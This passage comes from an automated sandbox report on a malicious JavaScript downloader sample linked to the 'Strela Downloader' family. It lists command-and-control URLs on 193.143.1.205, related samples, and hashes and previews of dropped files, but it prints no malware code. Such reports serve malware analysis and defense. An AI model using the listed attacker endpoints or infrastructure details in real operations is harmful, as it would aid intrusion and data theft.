http://193.143.1.205:8888/=f	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tem9	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/)f	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Uf	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem9	net.exe, 00000007.00000002.1746071227.000001DCE7238000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/Uf	net.exe, 00000007.00000003.1745299534.000001DCE726E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1746140391.000001DCE726E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2971306404.00000167FDA0F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1745459004.00000167FD880000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/)f	net.exe, 00000007.00000003.1745299534.000001DCE726E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1746140391.000001DCE726E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1745299534.000001DCE726E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1743498670.000001DCE728C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1746071227.000001DCE7238000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1746140391.000001DCE726E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/=f	net.exe, 00000007.00000003.1745299534.000001DCE726E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1746140391.000001DCE726E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590054
Start date and time:	2025-01-13 14:55:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	10557253441737814573.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 2.16.168.107, 2.16.168.105, 4.245.163.56, 3.219.243.226, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:56:59	API Interceptor	24x Sleep call for process: powershell.exe modified
08:57:03	API Interceptor	1x Sleep call for process: net.exe modified
08:57:03	API Interceptor	2x Sleep call for process: svchost.exe modified
08:57:10	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32230219901300318079.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2165116371124411090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1528915004169812209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.802182156783034
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUA5:RJE+Lfki1GjHwU/+vVhWqpo
MD5:	0B46BB304C25B1F537598391627B0C17
SHA1:	49195DAAA019DC2ABA8D09F62989AFF414A99915
SHA-256:	9F1AD6E9E46ED9903461A1D51C4EB63AFFA617F07FEAF8F1B2F98E1C80C55FC9
SHA-512:	D96E291810AAEC095F714D9D28AA039DF89873F12A7628D6EDE59532FDEFAB830469C3F00185D8D3C813A349D676B798D878698D442724D12DB508EE0D2F172B
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x5ad25283, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432804218330596
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:zazaHvxXy2V2UR
MD5:	CE7C1B3C0C193517B14F646E57298BC5
SHA1:	46C8022D5ADC90F0012ED531D5DF315228C04F17
SHA-256:	E52B8BB96A6E5ACCAA648E9EC00BBF7C6B54BB558B41E5ADDD884AE265CFA53C
SHA-512:	4D968989AA9C8077EB46792E4750DE908C0B4C5D343E34B084E24AAB1071F2C4C1EB100ABABB1DE04355B1C196C055A7FCCCC22E4C92AB3D9939E5F37802AFA2
Malicious:	false
Preview:	Z.R.... ...............X\...;...{......................0.x...... ...{s..9...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................*..9...}....................:/.9...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08117160556179312
Encrypted:	false
SSDEEP:	3:YPWtKYeRks6l/nqlFcl1ZUllllAq//allGBnX/l/Tj/k7/t:YOtKzRwl/qlFclQ/li6G254
MD5:	CA8DE1454274DA8ACB1B831E78D9CC3B
SHA1:	F83D0DF9660BC7D17CA51F1C66C78F2E80AA084A
SHA-256:	D1F726F1CFE8D54086D7D6AF47EB3BF4DFA6B529ECC49F7050C9305A92CE972E
SHA-512:	8250B1494361543416079F1E29B6F2362DC51E5813068B41A43357DAA6F90DB9B6958CFC0F8262B6C4101E354B6467DCF0E86CCA1202809D3CCC25EC35735C6E
Malicious:	false
Preview:	..X......................................;...{...9...}... ...{s.......... ...{s.. ...{s.P.... ...{s...................:/.9...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.217332940343122
Encrypted:	false
SSDEEP:	6:iOiB6q2PCHhJ2nKuAl9OmbnIFUtwB3ZmwuBlkwOCHhJ2nKuAl9OmbjLJ:7iEvBHAahFUtwp/uj56HAaSJ
MD5:	3E800FDAE76A7277260A89069BC59191
SHA1:	E7DAA6D94D33AB4B26CCF038216B5D4891B07D6D
SHA-256:	9E0840296112D869CDBD76A530185649F1F9FABFF7669E5DB5AE7D2180303433
SHA-512:	40321565B8C27B71E0C35607F8B5C383B6CDD2B03F2D3536E46D3343DD715DD4CC720B3E766FA636A40355F80364A878D71E13B3FEEFAD4C3ECA4FB9CF31CD9A
Malicious:	false
Preview:	2025/01/13-08:57:02.994 18c0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-08:57:02.998 18c0 Recovering log #3.2025/01/13-08:57:02.998 18c0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.217332940343122
Encrypted:	false
SSDEEP:	6:iOiB6q2PCHhJ2nKuAl9OmbnIFUtwB3ZmwuBlkwOCHhJ2nKuAl9OmbjLJ:7iEvBHAahFUtwp/uj56HAaSJ
MD5:	3E800FDAE76A7277260A89069BC59191
SHA1:	E7DAA6D94D33AB4B26CCF038216B5D4891B07D6D
SHA-256:	9E0840296112D869CDBD76A530185649F1F9FABFF7669E5DB5AE7D2180303433
SHA-512:	40321565B8C27B71E0C35607F8B5C383B6CDD2B03F2D3536E46D3343DD715DD4CC720B3E766FA636A40355F80364A878D71E13B3FEEFAD4C3ECA4FB9CF31CD9A
Malicious:	false
Preview:	2025/01/13-08:57:02.994 18c0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-08:57:02.998 18c0 Recovering log #3.2025/01/13-08:57:02.998 18c0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.163378261764434
Encrypted:	false
SSDEEP:	6:iOiCv+q2PCHhJ2nKuAl9Ombzo2jMGIFUtwCs2WZmwuCQVkwOCHhJ2nKuAl9Ombzz:7iCv+vBHAa8uFUtwCfW/uCQV56HAa8RJ
MD5:	E43A723876B30F60404E888F5C8AB129
SHA1:	A3E42526C59456E721E74729F821B66677A306F6
SHA-256:	0EC508491ABD1117C91FED48C1187375D60E7D02684ED02EDFCF7A818DB52482
SHA-512:	B7917223BA21E6DE06624C6E140C9DD8EE071CE330B43DE3BEDCFDA6931A3BB1049C291C36BF3C866164BC4094E1B35DA5668406BD118FCC6F97459E8CDED2CC
Malicious:	false
Preview:	2025/01/13-08:57:03.006 f3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-08:57:03.007 f3c Recovering log #3.2025/01/13-08:57:03.009 f3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.163378261764434
Encrypted:	false
SSDEEP:	6:iOiCv+q2PCHhJ2nKuAl9Ombzo2jMGIFUtwCs2WZmwuCQVkwOCHhJ2nKuAl9Ombzz:7iCv+vBHAa8uFUtwCfW/uCQV56HAa8RJ
MD5:	E43A723876B30F60404E888F5C8AB129
SHA1:	A3E42526C59456E721E74729F821B66677A306F6
SHA-256:	0EC508491ABD1117C91FED48C1187375D60E7D02684ED02EDFCF7A818DB52482
SHA-512:	B7917223BA21E6DE06624C6E140C9DD8EE071CE330B43DE3BEDCFDA6931A3BB1049C291C36BF3C866164BC4094E1B35DA5668406BD118FCC6F97459E8CDED2CC
Malicious:	false
Preview:	2025/01/13-08:57:03.006 f3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-08:57:03.007 f3c Recovering log #3.2025/01/13-08:57:03.009 f3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8acd91d6-0881-457b-8bd1-aaebb32f2dbd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.954425337809517
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq3WNsBdOg2HjAcaq3QYiub6P7E4T3y:Y2sRdsrudMHjr3QYhbS7nby
MD5:	601BB1E664A8A776E5134231BD6938B0
SHA1:	52B1B959FDCA425BDD5FBAF1F8E32D659050E7B1
SHA-256:	D62DD0BCEC5B4E9CA42A4BC4F94F65B53043B1A7C1C808686B2FB468CE1143FC
SHA-512:	97A362BEB51D67977944DD1750213139742486488618FB25CA8DAAD9B756BAA12445CE58D8BA245DAE75BCEB66C5B2156D42D487335DE1D62406330C5C8DAE8C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381336634717527","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138783},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.954425337809517
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq3WNsBdOg2HjAcaq3QYiub6P7E4T3y:Y2sRdsrudMHjr3QYhbS7nby
MD5:	601BB1E664A8A776E5134231BD6938B0
SHA1:	52B1B959FDCA425BDD5FBAF1F8E32D659050E7B1
SHA-256:	D62DD0BCEC5B4E9CA42A4BC4F94F65B53043B1A7C1C808686B2FB468CE1143FC
SHA-512:	97A362BEB51D67977944DD1750213139742486488618FB25CA8DAAD9B756BAA12445CE58D8BA245DAE75BCEB66C5B2156D42D487335DE1D62406330C5C8DAE8C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381336634717527","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138783},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.240053237276797
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+b8TfCFm:S43C4mS7fFi0KFYDjr3LWO3V3aw+b8T/
MD5:	CAB2E3F9062651CE805CAD9E063F9C2D
SHA1:	292E78E4A9B69909CC0921B29A29BB2850696FE0
SHA-256:	70EF14631F593601345B446056E33EE32B6EC75338014286DAA03656502DB4C6
SHA-512:	06B6CAB251F0DC65D94DEDD0B61B681D393493D7E8B9419D4EC890B8BD377FEBF009A2F36B66A268E7D1A434E1B4E4A6A3A120BABBC24EF642A85D59323CC3E8
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.205870773242463
Encrypted:	false
SSDEEP:	6:iOiWs9+q2PCHhJ2nKuAl9OmbzNMxIFUtwUv2WZmwuH39VkwOCHhJ2nKuAl9OmbzE:7iW6+vBHAa8jFUtwm2W/uH39V56HAa8E
MD5:	A3143E51A22FDA274BAC8E387074701F
SHA1:	8DB9E6F06C4239AA863CF5F398EE21FD3796DD62
SHA-256:	392F5163DAE9604E928A806759318D73E6000334543C8D48B7A5E72E6187C37E
SHA-512:	0806262DACD9404CFF6D040777E92462937014A3630EF451D6D10482E0FD1096CE3A668B9B358EAA5E8EB760E90AAC937E5759D416636722653CB176826D8F63
Malicious:	false
Preview:	2025/01/13-08:57:03.407 f3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-08:57:03.420 f3c Recovering log #3.2025/01/13-08:57:03.490 f3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.205870773242463
Encrypted:	false
SSDEEP:	6:iOiWs9+q2PCHhJ2nKuAl9OmbzNMxIFUtwUv2WZmwuH39VkwOCHhJ2nKuAl9OmbzE:7iW6+vBHAa8jFUtwm2W/uH39V56HAa8E
MD5:	A3143E51A22FDA274BAC8E387074701F
SHA1:	8DB9E6F06C4239AA863CF5F398EE21FD3796DD62
SHA-256:	392F5163DAE9604E928A806759318D73E6000334543C8D48B7A5E72E6187C37E
SHA-512:	0806262DACD9404CFF6D040777E92462937014A3630EF451D6D10482E0FD1096CE3A668B9B358EAA5E8EB760E90AAC937E5759D416636722653CB176826D8F63
Malicious:	false
Preview:	2025/01/13-08:57:03.407 f3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-08:57:03.420 f3c Recovering log #3.2025/01/13-08:57:03.490 f3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.756901573172974
Encrypted:	false
SSDEEP:	3:kkFkl8gtfllXlE/HT8ktyhttNNX8RolJuRdxLlGB9lQRYwpDdt:kKlgeT8ky3NMa8RdWBwRd
MD5:	3294FD1D304673302E1D298EDB481E06
SHA1:	BBBC886F4939EB3D813F350DF76DFD24BDBD0D93
SHA-256:	FF433E04A6520B888396591BDE30D57603AF908F1EE02E9A68AE2E4BB98B74F6
SHA-512:	7030FCA3B55BBF7FD1B467BA62A992C9D64199AD1A1155954CE4EE2FC9F6E73CCE3EC0E198251CFA05EEEE854EDFEA99EEA6EEE12F1DD4ED3591593795755210
Malicious:	false
Preview:	p...... .............e..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5636

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
